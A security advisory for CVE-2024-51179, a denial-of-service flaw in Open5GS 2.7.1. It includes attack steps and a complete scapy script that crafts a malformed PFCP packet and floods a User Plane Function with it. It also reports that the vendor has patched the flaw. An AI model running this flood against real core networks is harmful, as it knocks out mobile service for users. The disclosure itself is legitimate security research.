Description: An issue in Open 5GS v.2.7.1 allows a remote attacker to cause a denial of servie via the Network Function Virtualizations (NFVs) such as the User Plane Function (UPF) and the Session Management Function (SMF). The Packet Data Unit (PDU) session establishment process is impacted by the crashes occurring within the NFVs.
An attacker, after obtaining the IP address of the User Plane Function (UPF), the PFCP port, and the SEID (Session Endpoint Identifier), can craft and flood malicious PFCP (Packet Forwarding Control Protocol) packets to the UPF. The required parameters can be intercepted using tools like Wireshark if the attacker has access to the user plane traffic.
Type of Vulnerability: Denial Of Service
Impact: Upon sending the malicious packet, the UPF becomes erroneous, affecting the establishment of new PDU sessions. Additionally, the SMF (Session Management Function) is impacted due to the flood of malicious PFCP packets, disrupting Core functions
Preconditions: The 5G core network was set up using Open5GS as the core network and UERANSIM as the emulation tool for the gNB (Next Generation NodeB) and UE (User Equipment).
STEPS TO PERFORM ATTACK
- Ensure Open5GS is running by checking the status of Open5GS components (AMF, SMF, UPF, etc.)
- Verify PDU session establishment by using UERANSIM to initiate a PDU session and capturing traffic with Wireshark.
- Open Wireshark and select the network interface used for the user plane.
- Start capturing traffic with a display filter for PFCP packets:
- Initiate a PDU session from UERANSIM to ensure PFCP packets are visible in the capture.
- In Wireshark, find and note the UPF IP address, UPF port (usually 8805), and SEID from the captured PFCP packets.
- Use the following script to flood the packets to the UPF.
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
- Monitor the network impact using Wireshark or check the logs to observe any anomalies or failures in packet processing.
- Attempt to establish new PDU sessions from UERANSIM to see if the establishment fails due to the flooding.
The vulnerability, documented as Issue #3497 on the Open5GS GitHub page (open5gs/open5gs#3497), was reported to the Open5GS vendor, who identified the root cause as a memory deallocation issue leading to system crashes. A patch has since been applied, and the code has been updated to resolve the issue. You can review the updated code here.
https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd
CVE-2024-51179 has been assigned.
Digital University Kerala, Thiruvananthapuram, India and Centre for Development of Telematics (C-DOT), Government of India